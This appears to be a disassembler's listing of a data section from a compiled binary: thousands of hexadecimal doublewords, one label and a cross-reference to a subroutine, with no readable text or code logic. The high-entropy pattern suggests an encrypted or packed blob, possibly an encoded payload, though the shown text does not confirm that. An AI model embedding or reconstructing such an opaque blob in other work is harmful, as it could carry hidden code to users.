439A99B8h, 0DA7ACB1h, 1A668E27h dd 1566C2B7h, 73344232h, 6149FBB3h, 0D7E7EE68h, 750793D5h dd 90A043CEh, 137318F7h, 1DEF8775h, 1A664432h, 156620B8h dd 7D077132h, 0F304F637h, 90D3BBC7h, 1A603724h, 15661DB0h dd 13E18732h, 1A664432h, 156622B5h, 2DE39C32h, 0EC609D09h dd 4D352452h, 156636DBh, 0FB50D232h, 423DCEBEh, 77A7DA86h dd 5DAED381h, 0E5ECC404h, 9400E9B9h, 74CAA5D4h, 759FF2CDh dd 0C5ED7760h, 0AC8D096Bh, 746D7B52h, 92C8A7BBh, 0D39A172Eh dd 6F4DB7h, 0A3060734h, 1560CA5Eh, 2ECD1132h, 585B64FCh dd 743E7087h, 6F6FD45Ah, 19E01EA0h, 0FC668832h, 15664435h dd 0F798A871h, 0E9976FDBh, 3E33DCDh, 1A064227h, 9807E48Dh dd 5D29B7h, 0C5997434h, 90EFBCCEh, 137AA580h, 1567913Dh dd 1A9A8832h, 156645B6h, 90A0DE32h, 137318F7h, 0AA69E871h dd 1575ADC3h, 3C652232h, 5DFC2299h, 0AC023FAAh, 52CFA09Fh dd 23BFD21Ah, 350E7086h, 0EC9AA9A5h, 3E3F1CDh, 989A2427h dd 5D29B7h, 0F3E6E834h, 7494CFD8h, 0E093F2CDh, 92D094BBh dd 969A8E2Eh, 7E858Fh, 90692234h, 156611FFh, 9BB10952h dd 0A37AA617h, 90A0430Dh, 137318F7h, 15616171h, 0B4ED4432h dd 0E58938E3h, 160EE8D4h, 0FCED889Ah, 15664423h, 102DCCFDh dd 0BF463D0Fh, 5364B433h, 0CE93D953h, 90D3DD1Fh, 0FC600424h dd 15668822h, 50D39366h, 0E18117Dh, 0DC2326B4h, 0D9EA34B8h dd 1560AD52h, 84582232h, 0FEF23742h, 74564CB2h, 2E5EC1BFh dd 73062427h, 95273E88h, 0EA076BFDh, 90EFBDE2h, 137AA58Ch dd 90A0EDCBh, 137381F7h, 0C00EBD71h, 0ED837904h, 3E3A4CDh dd 989F8E27h, 5D7CB7h, 1572CB34h, 19A41132h, 0AC8A427Ah dd 5F586C57h, 753A8946h, 0FA7AE117h, 0C5996950h, 1563C33Dh dd 1A062232h, 0E007D88Dh, 92DC0DBBh, 9369422Eh, 15662233h dd 0D0E3D7C7h, 56609D3Bh, 156EAC52h, 0EEF42232h, 0D7EABBFFh dd 0FC3C4419h, 1566443Dh, 0E7B451EEh, 7BC3C5FDh, 22F0B9A1h dd 74F555E7h, 0E5D12D52h, 0F40E70CEh, 758C2200h, 94A0CF54h dd 0A60BB2F0h, 0A0997060h, 13739EB7h, 17E74B52h, 9E662232h dd 90EB70C2h, 1373B30Ah, 75B6BBCEh, 1563AC3Dh, 94001132h dd 0E02E6FE2h, 0D7E3CD53h, 1A603EB5h, 156606B1h, 15746132h dd 789C4432h, 0F740B4BCh, 841ABC73h, 0D500A734h, 0BC53D110h dd 3DE4452h, 90A070A9h dd 137381F7h, 14EB4B71h, 0EC662232h, 0E4CA265Ah, 0A0997DB6h dd 137352B7h, 156AA33Dh, 92691132h, 15668834h, 1566C93Dh dd 9C692232h, 1566113Bh, 738D0252h, 924097B3h, 2DE3AF53h dd 1A600409h, 156689BFh, 0C599BD32h, 15662DDBh, 0D73F5732h dd 28B0A704h, 7CC4CB8Dh, 0EB0FB65Eh, 92A094BBh, 0AF068E2Eh dd 39A7DA40h, 1566A63Dh, 1A071132h, 156684B3h, 13E94B32h dd 1A662232h, 156611BFh, 0D0E34E32h, 5A60513Bh, 1568A93Dh dd 1A061132h, 156688BFh, 15E54B32h, 74662232h, 20F6C55Ah dd 156161A5h, 54FE4432h, 0B73E3CB9h, 1575F87Eh, 35DA8832h dd 0D8161AE8h, 0FE0195F3h, 0B2F819Ch, 0D82C09BCh, 90D3BBB1h dd 0FC603724h, 15661135h, 0C89C7554h, 989469CBh, 5D1AB7h dd 0AD007134h, 9969B16Ah, 15664434h, 4029FCB3h, 0EA0721C6h dd 19E387E2h, 75664432h, 1484A354h, 0CC87AAF3h, 9C07AAAAh dd 9E18EB7h, 90A0DB34h, 137318F7h, 14E1877Dh, 0E0664432h dd 7B68205Ah, 0A099E4CBh, 13739EB7h, 2DE3C9CAh, 75603709h dd 1577F9C7h, 0D97D8832h, 57819536h, 0A466C7C4h, 0CF825964h dd 0AF9D4078h, 410C9FEFh, 0C5994369h, 156602DBh, 40CDF332h dd 4F2B062Eh, 0B554DB8h, 0CE111C42h, 0DA87AE15h, 92A8C1BBh dd 1C8F242Eh, 9A661132h, 0A42EF1B3h, 9D9491DCh, 156632DBh dd 8F1DFE32h, 0C9AFE7B2h, 0B5527E7Ah, 9FF73AC6h, 0D0E3D7A6h dd 58609D3Bh, 6C2F2CCBh, 9C69EA05h, 15661123h, 156684DBh dd 0B8513A32h, 1723D4D0h, 8DA31387h, 90D377B8h, 1A605124h dd 15662EBDh, 13E81E32h, 1A668832h, 156644BCh, 2DE3AF32h dd 0ED600409h, 9C9F58CDh, 9E192B7h, 7ADD4234h, 75253B29h dd 15660A3Dh, 0D7E74432h, 0B0DB8A2h, 1F8F7053h, 5D668832h dd 0D669B99Fh, 26B91F84h, 0D0E3D7BCh, 58609D3Bh, 156655DBh dd 0CFA10F32h, 265717F9h, 9A941A0Ah, 0D456D70Dh, 9C0E2F8Eh dd 0FCBAE67Fh, 15668837h, 5D7283F5h, 90D3DD70h, 0FC600424h dd 1566883Dh, 0D45989FCh, 0CA9DD603h, 47E6553h, 989546EAh dd 5D7CB7h, 156BCB34h, 0C0FF1132h, 4534CF71h, 58C29697h dd 0EA4F134Eh, 10E31EE2h, 75668832h, 749EF33Dh, 92B4A7BBh dd 128F172Eh, 0DA668832h, 8F5A7D16h, 90A00029h, 137318F7h dd 108F7D67h, 72664432h, 0A601AD18h, 0E4B265Ah, 3E887AEh dd 0FC664432h, 15662223h, 0E1D56667h, 4D9371Fh, 2184CFE7h dd 3CA8CC5Ah, 90D3EEFAh, 0FC609D24h, 15664420h, 0EA569340h dd 7B5F47C2h, 4497B2EDh, 80D2002Ah, 90EBDC65h, 13732A0Ah dd 0ECB677C7h, 92BCC1BBh, 1C8F242Eh, 661132h, 0DB2CD004h dd 0F09C313Fh, 1CA3A7F4h, 0FC251727h, 1566883Eh, 0AF8FC257h dd 7A792D3Bh, 0C230878Ch, 0C096A25Ah, 1DE54BE0h, 1A662232h dd 156613BAh, 0EA07E832h, 70C187h, 0A1D24234h, 98076A81h dd 5DB0B7h, 73312434h, 7539ECB9h, 15EE1ECAh, 74668832h dd 1AB6BB53h, 15663BB9h, 1572F832h, 8118832h, 0A6C397D8h dd 892CF410h, 0E781D4Ah, 248E6C54h, 9B69296Fh, 15662233h dd 0CBE398CBh, 1A6094B5h, 15664AB1h, 156FCB32h, 0EB011132h dd 0D86B9E87h, 0D332A4CEh, 6FE7B7h, 1A064334h, 15668ABFh dd 4498CF32h, 0F6DE9B54h, 0FF0E706Ch, 0ED9BCA86h, 3E3F1CDh dd 1A062427h, 156614BEh, 16813332h, 0AC005CF4h, 1A076CABh dd 156618BEh, 1A9FE832h, 156644BEh, 90EB4332h, 13732A0Ah dd 156E063Dh, 90694432h, 15662230h, 0C5997052h, 156683DBh dd 0EC93CF32h, 0D6D83067h, 0B8FA64A5h, 3B5F0DBBh, 188F4227h dd 0C9662232h, 3217EBEBh, 27FAECDEh, 7CBFC9E1h, 1CA3A7F4h dd 0FC211727h, 1566883Dh, 718A6343h, 98B510AEh, 13AF78EBh dd 1AC91925h, 156643B8h, 14ED2D32h, 0E9661132h, 8D3F115Ah dd 1CEB4BD0h, 75662232h, 15E61ECAh, 74668832h, 3E3F1CDh dd 1D8F2427h, 0A4661132h, 6D9B2415h, 753012B5h, 9E00ECB9h dd 90EB70EBh, 1373B30Ah, 75B6BBCAh, 74B9A954h, 928494BBh dd 58F8E2Eh, 1E664432h, 5C081939h, 0B35430AEh, 4D34D786h dd 1A037694h, 156623B3h, 90A0E932h, 137381F7h, 97692475h dd 15662237h, 16B04388h, 64DFEE00h, 0D70E2508h, 0FCD7DF52h dd 15661139h, 0E7E6EF64h, 73C96BB7h, 75457272h, 1567983Dh dd 749F8832h, 3E3F1CDh, 93692427h, 15661133h, 739AE8C7h dd 98078EB9h, 5D1AB7h, 1561F834h, 7C68832h, 70E634E9h dd 1A36424Bh, 156611B4h, 7493D332h, 986994CDh, 15662233h dd 0F3E398CBh, 756094B5h, 0C2E79B81h, 1307225Bh, 0D0E3D753h dd 52609D3Bh, 156643DBh, 0B5D66832h, 58A7D262h, 0B3989C5Ah dd 0A099B1EDh, 137334B7h, 2DE39CCAh, 75609D09h, 739DFB3Dh dd 0F49ECCB3h, 75B6EE53h, 0A24F58B3h, 9C072116h, 9E1C8B7h dd 0AE007134h, 940042DEh, 741B6DD4h, 0D0E3E4CAh, 4A60043Bh dd 156687DBh, 6D920432h, 5644CC06h, 0E1C13398h, 0D9B290F3h dd 45942C5Ah, 1560CBACh, 2DAB1132h, 0AB7C4EAEh, 3E3F1CDh dd 90692427h, 1566113Dh, 156682DBh, 0E0053332h, 17F2ADF3h dd 0EDF00B1Ch, 2E5E0DBFh, 0FD064227h, 15662221h, 45D522C0h dd 65F89DCEh, 1DF06CBFh, 3F91DD3Fh, 0ED89D50Dh, 0D3DFEE68h dd 0C59925D9h, 4A9F7252h, 7412D8B2h, 92880DBBh, 0AE06422Eh dd 7C1495B9h, 1560943Dh, 0D5E78832h, 407E9B38h, 0D0E3E453h dd 5A60043Bh, 6E59E0C7h, 470683CEh, 743C7965h, 3E3A4CDh dd 989F8E27h, 5D7CB7h, 0C599D734h, 1573953Dh, 46068832h dd 156AAD68h, 31AF2232h, 0E6458DB1h, 5BC4DA8Bh, 9C07E174h dd 9EE38B7h, 1577F834h, 5BA98832h, 9193F87Bh, 0BA8A22F8h dd 2F8432Fh, 0D3D8D2ABh, 6F81B7h, 91696534h, 1566113Eh dd 15668FDBh, 6D457732h, 46A5384Fh, 4E085D5Ah, 0EA87C8h dd 0FC664432h, 15662222h, 0F476CED6h, 4FC2B9A3h, 0D2478F69h dd 1E04CBECh, 3E3A4CDh, 9B698E27h, 15664433h, 2DE3AFCEh dd 0FC600409h, 1566883Fh, 8A3ED564h, 282E773Dh, 35420903h dd 0FCB67740h, 15664439h, 623054B1h, 1A16A148h, 9C6E87AEh dd 9EE5AB7h, 1560CB34h, 0B6251132h, 477CEA8Ch, 1CA3C1F4h dd 1A212427h, 156608B5h, 0AA69E832h, 1569ADF3h, 60812232h dd 0C758115Eh, 6F0FF0DDh, 0F78E5B80h, 9C694311h, 1566113Bh dd 0DBE7EE52h, 0FFD709DCh, 31AB4A53h, 48FD234h, 0E1668832h dd 0B36BFD36h, 0DD3EB6AFh, 62F233CBh, 835A5D6Ah, 758ECE52h dd 1280A2CEh, 0A0997053h, 13739EB7h, 95DF2252h, 156FCBDFh dd 8BF71132h, 0ECB98BA6h, 747D190Dh, 2DE3AFCEh, 0EC600409h dd 15696052h, 0CB234432h, 4607462Dh, 0E9D9E567h, 692D5F48h dd 0E3E72225h, 743EB3C6h, 9969C1CDh, 15668821h, 15664ADBh dd 4DDD9432h, 6F122A2Bh, 3E81A82Dh, 0E0AA05C1h, 9D44A7BBh dd 0D39F172Eh, 6F4DB7h, 7D9E1B34h, 0C1DD42FEh, 90D3EECAh dd 0FC609D24h, 15664435h, 750ED36h, 98A1C533h, 5DB0B7h dd 0C599B834h, 0E7E3ABC7h, 0FC600DB5h, 1566883Dh, 46EC32EDh dd 25A4F906h, 7253A254h, 0E9C1FFCBh, 1CA3C1F4h, 1A392427h dd 156619B4h, 17ED8732h, 75664432h, 1AEC2D53h, 0FC661132h dd 15668838h, 2E99E583h, 4F2FA6D0h, 5B0E94BCh, 1AF86166h dd 156648BAh, 13E32D32h, 1A661132h, 156688B7h, 0DE04B32h dd 0FC662232h, 15661121h dd 0A51D3542h, 4F3F2A39h, 284B10CCh, 5F80AA76h, 0EAF6EABEh dd 70C187h, 1577CB34h, 0FA01132h, 4AA0938Ch, 0FF04AA46h dd 0CF0A4510h, 984283B0h, 5DB0B7h, 1563AD34h, 0AE9D2232h dd 0EA4F141Dh, 18F71E2h, 0D3664432h, 0ACA60149h, 0F35653E3h dd 12E187D3h, 8CD93333h, 9CB06C00h, 9E1E7B7h, 15726134h dd 8D1C4432h, 32DEFE6Bh, 2EA9AE4Fh, 209B8BA0h, 38F4D133h dd 90A00BAFh, 137318F7h, 5D0E706Dh, 75B7571Ah, 0AB9ACCB3h dd 749F19B3h, 3E33DCDh, 96694227h, 15662239h, 0CFE77752h dd 0AC00DC05h, 980780FFh, 5D1AB7h, 1DE31E34h, 1A668832h dd 156646BEh, 0FC074232h, 15661122h, 71821A70h, 0E6DB7CE6h dd 0D2F346A1h, 588DCD00h, 976958CDh, 15664433h, 0EFE3ABCAh dd 1A600DB5h, 156683B2h, 1560AD32h, 7C182232h, 96C1D602h dd 1579083Dh, 9F694432h, 1566222Bh, 156605DBh, 500DFA32h dd 0CDC4A857h, 549205FBh, 3AE6E7Dh, 3A3F55A8h, 0EC622E01h dd 1576225Ah, 156EF832h, 0EFD8832h, 85470EFFh, 150E19D0h dd 1A661122h, 156692BDh, 9C692432h, 15662232h, 15661CDBh dd 28B3B332h, 2F4EC54Eh, 0BDF85F26h, 7F07D1B1h, 0E99EE832h dd 0DCF3BB53h, 0FC603716h, 15661139h, 7B66B42Dh, 0D430CC72h dd 9C902DD8h, 7AB8B7h, 0AE9AE834h, 3D901C66h, 9C694253h dd 15661131h, 0FD9C0354h, 1566443Eh, 20EA1E2h, 0E1608581h dd 97D6F4A4h, 98071CC7h, 95342B7h, 14E21E34h, 0E0668832h dd 78F94CDh, 2E662232h, 0F88D2D8Ah, 940EF594h, 17A8BDAEh dd 57B20402h, 108F71E7h, 0C6668832h, 0D7041209h, 0C95D9B52h dd 74075265h, 1A068C58h, 156646B4h, 1A4A9032h, 15661CBFh dd 15616032h, 2AC54432h, 0D0BB4C75h, 7D074A9Bh, 15669832h dd 156648DBh, 0BA506032h, 0DF5D76B5h, 0AE35572Fh, 35662C35h dd 7F932232h, 12EE1E32h, 75668832h, 0DAD7F88h, 0EA9F4375h dd 42D8A7h, 156A6134h, 54AC4432h, 9067E7F7h, 2988B70Eh dd 9D6998F3h, 15664412h, 156ACB52h, 73121132h, 14DC27Dh dd 8250BE3Eh, 128EA83Ch, 41661132h, 436F9B2Eh, 743E85A2h dd 8D7A7BBh, 9C9E1727h, 6541B7h, 188F2434h, 27662232h dd 0CEA8E1B5h, 945F9B3Eh, 4758C4F1h, 74A9953Dh, 97695158h dd 15668833h, 5662CCBh, 99692232h, 15661124h, 156699DBh dd 0B5CB7932h, 9255E85h, 48AA7382h, 8C7A3268h, 1F8F4113h db 32h byte_5F4505 db 22h, 66h, 1Ah ; DATA XREF: sub_57DD3A+118AFo dd 6050B9C9h, 4B41CBC7h, 15662C89h, 0FC9E2233h, 1566113Eh dd 4FCE0797h, 0EB558B15h, 233E60DBh, 0EA9E1158h, 4241A7h dd 0FC372434h, 15662238h, 0C2FF41Bh, 0F869AF28h, 1A38F070h dd 9C07D28Dh, 4CECB7h, 0CEE7E834h, 6E6676FBh, 5CD3A953h dd 0FC600406h, 1566883Ah, 0AFCD2E58h, 0ABA95ED1h, 0C2B8CB9h dd 73068E27h, 0CE7F9EB3h, 156628DBh, 0F78F4F32h, 98A06168h dd 7478C69Ch, 1FF797BBh, 1A061727h, 15668ABBh, 1AE3F032h dd 156630B3h, 156AF932h, 8B28832h, 0ACDAA9CBh, 2363D8A7h dd 743D557Ah, 1564073Dh, 74064432h, 2BFBFBBh, 0FC061727h dd 1566883Ch, 0D9EAF8B8h, 992EAC95h, 0FDFFAAAh, 9969CB75h dd 15664425h, 156633DAh, 6167A332h, 48DF3C4Ah, 892A21D7h dd 0A91B30E8h, 743D8F1Bh, 0C2B15B9h, 9B694227h, 1566222Fh dd 29D97752h, 157760B4h, 18AE4432h, 9F19230Dh, 6E771C20h dd 46663F66h, 4BD1C1F8h, 9E55DD53h, 0D1E5353Eh, 14EC8736h dd 0E9664432h, 1A66DBB1h, 155E30B6h, 95DFE832h, 0FC042D17h dd 1566223Eh, 6623752h, 0DF996263h, 5F008DBBh, 77094A53h dd 11EF1132h, 19E68716h, 1A664432h, 156624BBh, 15EE1E32h dd 43668832h, 0D3E7A2BBh, 15662236h, 9262FFB1h, 9C3AAC06h dd 759F603Eh, 0FCA613C7h, 15661139h, 9D20F309h, 6E2633DEh dd 9CC1DFE7h, 6C4CB7h, 0AC06E834h, 2F1C8D9Eh, 9FBBE8B3h dd 73074A52h, 746F3D88h, 127D2C61h, 443D262Bh, 0C61368Bh dd 4CADB936h, 0FC3D9ABBh, 1566223Dh, 0DF8468B9h, 0B91C438Ch dd 1656A1D4h, 94495069h, 8A6FBEF4h, 9E880922h, 164F3921h dd 94460646h, 68759AF4h, 0BA88091Bh, 0EC76DB3Bh, 1A8F8F54h dd 36661132h, 8DA98E03h, 0CDE911A6h, 3A1EF75Eh, 0C04BD32Ah dd 16294220h, 42466076h, 6B4F6B8Dh, 0E289C05Ch, 97A909EDh dd 94015464h, 5D7517F5h, 0D7A1902Dh, 142638CDh, 9A691BCAh dd 15662227h, 15699F3Dh, 1F8F8832h, 0F4664432h, 37C342EEh dd 136D39BAh, 6D167743h, 714270B3h, 4B73F733h, 399FAA61h dd 0F6E7EF24h, 0DD23DA2h, 9460C9F3h, 2D4A7FC1h, 0BD950937h dd 2476A94Fh, 940679ECh, 92D4F8F4h, 0CDEDE1Bh, 4B6197CCh dd 9E88A353h, 945FC262h, 571944F4h, 31124774h, 0D988A312h dd 9420534Dh, 0C63603F4h, 6399BC0Bh, 18F7D2Ah, 8B661132h dd 0F90A8948h, 51ECA549h, 58B8A12Ch, 2D463B2Ch, 9C97894Bh dd 4EF18Fh, 12EE2D34h, 1A661132h, 156689B8h, 0EAE3B832h dd 1524A73Dh, 9A691132h, 1566883Ah, 1564C93Dh, 74062232h dd 1538E6DAh, 19E88732h, 1A664432h, 156624B6h, 15E31E32h dd 0FC668832h, 15664183h, 1567A33Dh, 0FC9A1132h, 1566883Eh dd 4F9C6C73h, 0A6ADDFE3h, 0ADEB913Ah, 1542895Ah, 316ACD32h dd 198F42C7h, 8661132h, 165B9AA8h, 3957EDE4h, 1AF18BA6h dd 156611BDh, 0F9E5E932h, 3152CD36h, 0E7EFDCBBh, 0CE31E6Ch dd 75668832h, 0FCBE84B2h, 1566223Dh, 4D454275h, 0A893EFC3h dd 998B8DDCh, 74EE8BBDh, 156F9E3Dh, 0AA068832h, 2C449733h dd 7E077861h, 128F15E0h, 28668832h, 77532001h, 80EFCBADh dd 1373001Bh, 93DEEE52h, 1568AC89h, 744F2232h, 51C6F5ACh dd 9C84D64Eh, 0D8BF6DA3h, 743FFCB9h, 95691558h, 15668835h dd 7655FE52h, 7D07257Ch, 15660132h, 1573013Dh, 58F4432h dd 0F7662232h, 0DB887906h, 8576401Bh, 0CAB8C149h, 47DDF518h dd 0D7E7F3BBh, 15668836h, 9262AEB1h, 9C3A0626h, 7F9E3526h dd 15726132h, 7ADC4432h, 0E3823611h, 49531735h, 9C165278h dd 0EA5D9E25h, 80992BE7h, 137335FBh, 156682DBh, 75A01632h dd 7D6644DDh, 1ADE5B18h, 156689BEh, 90EFBD32h, 13732997h dd 1568F952h, 3E0B8832h, 0CDDB9B3h, 0F6CA6F66h, 641AF3Ch dd 4AB50354h, 156650DAh, 4917E332h, 3D4D1F94h, 98E6186h dd 38EFF255h, 0DDD4AF30h, 1574F8C1h, 0F2D08832h, 5AA5F263h dd 3BBB03F3h, 63403351h, 8AB0B9E1h, 0AA0E2569h, 9C662236h dd 0FC3C3536h, 15668821h, 9018516Eh, 16CC4811h, 3238EA27h dd 387915C1h, 9ED870FAh, 9C31063Eh, 11A190D5h, 96668832h dd 29E140F5h, 98697E16h, 15661137h, 0E2ED7D52h, 4848AC53h dd 18F2232h, 91661132h, 817FF3B6h, 8D9DDB96h, 981ACBC2h dd 9D7C31CEh, 7D63A402h, 15662D62h, 754216BBh, 156614DAh dd 86037A32h, 7438B0C4h, 7330429Fh, 9ED8C3B3h, 0A5E0336Ah dd 10074F37h, 0AE06A51h, 0E49B137h, 31228B00h, 3AC66916h dd 764B1029h, 7579977Ah, 15668FDBh, 9E39E732h, 9424AADEh dd 980E4153h, 9C668829h, 4A3E600Eh, 1561AF3Dh, 97691132h dd 15668833h, 0EBEF12CEh, 314AA364h, 46222C0Fh, 28A50969h dd 4B35000Fh, 0F3EF74CAh, 1562D7B3h, 0FBE78832h, 15664436h dd 494216B5h, 75422DBBh, 156681DBh, 1FE0B32h, 249738A9h dd 0AF353536h, 16E7B402h, 7506256Bh, 1566AE3Dh, 9E691132h dd 15668832h, 1568AD53h, 936B2232h, 0DDD7ABF3h, 7C7126BAh dd 0E3C3E8BDh, 75A61253h, 0EDFEE2B2h, 0E8132653h, 156643DBh dd 816BC532h, 4F06BA3Ah, 315203C7h, 9485CD61h, 156626F1h dd 11A59032h, 92668832h, 1A3A602Eh, 15662EB1h, 13E11E32h dd 1A668832h, 156644B1h, 0BEA1A332h, 94648C56h, 12C22DDh dd 94B96D1Ah, 12C88F5h, 0BE89901Ah, 0FC641556h, 1566443Fh dd 92432357h, 2979370Fh, 9D26E632h, 9C36BD64h, 156227D2h dd 114B1132h, 92668832h, 9C3A6036h, 68F0626h, 0A4661132h dd 0C9443906h, 0DF903549h, 5C87FA78h, 0EAD48B8Fh, 4336E4F0h dd 0E5EFBABBh, 4DA4AB6Ch, 0BCDB9ACEh, 1A609D2Eh, 15664AB3h dd 156FCB32h, 0AAE81132h, 41AFDF24h, 0AC571A4Fh, 0EA99DDCDh dd 1572923Dh, 1A8F8832h, 4F664432h, 4BFB2213h, 6E76A8E3h dd 9A766537h, 0D557555Fh, 0AC3770CAh, 6FE2604Ah, 9BEE49B3h dd 0DFEFC149h, 9F94236Bh, 9F694B30h, 1566883Fh, 15664CDBh dd 21B61032h, 0FB22CBB4h, 0FCAEB800h, 1566443Eh, 0CCF31CFFh dd 883D413h, 2CF73132h, 0E5578203h, 8326E403h, 156619DBh dd 40239332h, 0E4949064h, 1AEF2DABh, 0FC661132h, 15668838h dd 0C4E8AA1Ah, 46683CFBh, 2199A30Ah, 316203B5h, 0FC6280B1h dd 15662237h, 0A0DEDECh, 1D8F4919h, 3857FF52h, 0AF005B16h dd 24071360h, 157261F3h, 0C1544432h, 7795144Ch, 0D040C20Fh dd 3F4A3716h, 14C924B4h, 1A2C1D7Dh, 0EA9944B7h, 1BE487CDh dd 0FC664432h, 1566223Bh, 77521D5Ch, 1364F45Ah, 550EB8E8h dd 9C662225h, 1A3E353Eh, 156680BFh, 17E04B32h, 75662232h dd 0C2918653h, 0D2577003h, 7306BC03h, 1A940089h, 156610BDh dd 0EA077D32h, 943C6006h, 156626F6h, 0E00EE932h, 9C66887Bh dd 11E76036h, 124E0316h, 94649E40h, 124EA918h, 156AAD40h dd 26A02232h, 0E9705375h, 1B882051h, 453334D1h, 1566268Ah dd 4DA39832h, 0FC3B6233h, 15664435h, 0A41573A8h, 409BBD15h dd 0D0E76DBBh, 15664436h, 9262CFB1h, 9C3A351Eh, 9506AC26h dd 1D8E42D2h, 7A662232h, 60F3F380h, 0FC3D45A0h, 15664422h dd 3D9417C6h, 0BEDDA647h, 7CD3FB27h, 0E6D0054Fh, 1A064368h dd 156612B9h, 7FBD0832h, 749CF33Dh, 1F3BA7CDh, 9E9A1727h dd 6CD5A7h, 805FBD34h, 13730A87h, 1503953Dh, 94698832h dd 15664433h, 3152DDC7h dd 11A29268h, 315203CEh, 9480CD64h, 156626F4h, 11A09232h dd 4942BCB5h, 11DF15C7h, 94662232h, 0C3030F4h, 94A8897Ch dd 0C3065DCh, 188F7B7Ch, 0B8661132h, 0E7A821AFh, 88ADC321h dd 1E0B1B95h, 0EA9A63DBh, 0AA06E8CDh, 2A1B0404h, 1566AE3Dh dd 1A071132h, 156688B9h, 9E9E2532h, 9C360626h, 156214D2h dd 11638832h, 92664432h, 1A3A0636h, 15661BB7h, 9069E832h dd 15664432h, 0EA074352h, 94383506h, 15668CF6h, 1BEC4B32h dd 0FC662232h, 1566113Bh, 989EA910h, 0EA424112h, 198F4376h dd 78661132h, 0D04B82BBh, 97D541CBh, 1AAD8283h, 15661FBDh dd 9669E832h, 15664432h, 1566A03Dh, 9E071132h, 9C34AC3Eh dd 11A4C5D0h, 94662232h, 156615F0h, 31720F32h, 11EDB86Eh dd 0F5EF7216h, 15661537h, 15628D32h, 11E14432h, 0D29F7E16h dd 7E40B7h, 15668834h, 1568AD32h, 16282232h, 59DFF46Bh dd 0BFD42FA2h, 3955A1C9h, 1561A63Dh, 9E691132h, 15668833h dd 4CE383C7h, 1560373Eh, 1A661132h, 156689B3h, 0A8E5B832h dd 137AA550h, 3FE21E32h, 0EC668832h, 8DB5D9BFh, 9C692429h dd 15661133h, 1A93E8CAh, 0EA07838Dh, 12ED2DE1h, 1A661132h dd 156689BCh, 9569B132h, 15662233h, 80E3EECBh, 0E9609D20h dd 7F3F9B1h, 1A022427h, 15644CB0h, 90A17D32h, 137356A7h dd 15662233h, 989371CAh, 95219B7h, 19E14B34h, 1A662232h dd 156617B3h, 15E18732h, 0EA664432h, 1569CBE2h, 80331132h dd 0CE6F46BCh, 895B71F3h, 5D1ECAE7h, 3EF1E74h, 1A668832h dd 156654B6h, 156DCB32h, 8DB61132h, 0D467619Dh, 1BDE49D1h dd 27D3AFF7h, 75600DBAh, 15668DDBh, 121F1232h, 0A269BAA1h dd 0A8EB70C3h, 137B9A1Ch, 64A1C5CAh, 943E7236h, 476EADDh dd 9491A153h, 476BFF5h, 6489A353h, 753E4136h, 0AF980354h dd 2355765Ah, 22464A53h, 29EF1132h, 9169D216h, 15664437h dd 0EC0B9752h, 0BCDB9A53h, 0E0609D2Eh, 0EA99BB8Bh, 0D557D7CDh dd 156E993Dh, 96698832h, 15664430h, 0AE354352h, 15661132h dd 16EC7B33h, 944258B9h, 156626F6h, 1575F832h, 0DDF48832h dd 761BC7E1h, 0BC5DBEC9h, 0D5A6C55Eh, 0D95BEDCEh, 75AE7454h dd 9400DBB9h, 7426E6FAh, 0EA993260h, 0C34FBBCDh, 95934268h dd 0FC075BFAh, 15668835h, 6C1535Eh, 0EA4FABD8h, 11ED9606h dd 11A20B16h, 156AC73Dh, 73062232h, 94C8D388h, 240F21C0h dd 0FCA7255Eh, 156ACB3Ah, 0ECA71132h, 6425770Bh, 4F2E383Ch dd 0D45753F5h, 4FBC9052h, 0FC52F1B6h, 15664438h, 0DF964176h dd 9CEF9B16h, 5F07CC3Ch, 0EA36C13Dh, 9469DDCDh, 1566113Bh dd 15EC8752h, 0EC664432h, 118AA153h, 94421DBBh, 1EBAC06h dd 203E2533h, 746736BFh, 19141CAh, 31620316h, 156280B3h dd 2C9A2232h, 47B4B7h, 8BE28734h, 0FC664432h, 15662234h dd 60880024h, 0F9E7A9AFh, 15664436h, 0A8420EBBh, 2B953E22h dd 946165F3h, 68801ADFh, 488EAB32h, 156618DBh, 7D48C832h dd 1CCE12Ah, 0D56DCBDFh, 1551943Dh, 43068832h, 15664ADAh dd 4F1C6332h, 0CC48A263h, 2FE657E6h, 4AC7A90Eh, 9969426Ch dd 15661132h, 1566023Dh, 74074432h, 0B03A7F5h, 15671727h dd 90698832h, 15664433h, 0AFDB77CAh, 9466206Bh, 5547A1F3h dd 948F452Ah, 55470BDBh, 78F4C2Ah, 0C3668832h, 0E4D62531h dd 89AF0D7Dh, 0A012ED93h, 385CFB76h, 68F25C7h, 0D9662232h dd 0EC3F0E9Bh, 0A59290D3h, 0D2416618h, 5C615D06h, 7D357B59h dd 7CC1C7C9h, 0A085C569h, 0E236566Fh, 0E7DC43E1h, 3C0E2E23h dd 0FEE71EE1h, 0E03C793Ah, 0E93DC8BBh, 133A3163h, 7D300B59h dd 44EC5616h, 8E88906Ch, 94705C04h, 28CA87DCh, 4B94AB42h dd 0E03FDB33h, 5EB00852h, 7506E953h, 1D81A354h, 0CA8F904Eh dd 7422C304h, 9C9E25CEh, 6CB387h, 53A1E834h, 0ED647ACEh dd 0E900C526h, 366440C7h, 149A57B3h, 94668832h, 52B5B87Ch dd 5BE701CDh, 765D4ACEh, 0E9200912h, 0C966C437h, 0FDA0A952h dd 1566113Fh, 5DE42035h, 30E787A2h, 7B036D35h, 156AF861h dd 6F5D8832h, 0C34CD88Eh, 4B89CA30h, 7438A541h, 0FB88660Fh dd 0A1E34BDCh, 75662232h, 1565973Dh, 9E008832h, 2BE725F4h dd 0C8BBFFEFh, 15FB943Dh, 1A068832h, 156642BDh, 15E72D32h dd 73661132h, 746BEF88h, 6C7AFE60h, 0A8333EB8h, 9EC682Eh dd 9C3B621Bh, 449A1E24h, 1566268Bh, 9EA81032h, 0D1E7AC3Eh dd 15664436h, 1567A33Dh, 9C931132h, 6C1987h, 9E69BC34h dd 15662223h, 156D983Dh, 138F8832h, 7C664432h, 4B31D713h dd 3E78F8D9h, 0FC068832h, 15664437h, 608BCA22h, 4862A8E8h dd 0FC079A17h, 0EA99BA84h, 156630DBh, 29D84432h, 59735283h dd 22D349Eh, 0E4ADA98Eh, 1A1543A2h, 156682BDh, 1563AD32h dd 35F02232h, 94A589C6h, 15668CDEh, 3162CD32h, 854226B3h dd 4E1DAB12h, 35F663B3h, 0ED063F88h, 156630DBh, 71F4D332h dd 0A44DB598h, 2B39F45Dh, 0E8319885h, 7465D013h, 0B030D01h dd 48F4227h, 35662232h, 39569928h, 4D2BC037h, 3C43EF59h dd 12117B27h, 1A65D9F3h, 15669CBAh, 1BE84B32h, 0FC662232h dd 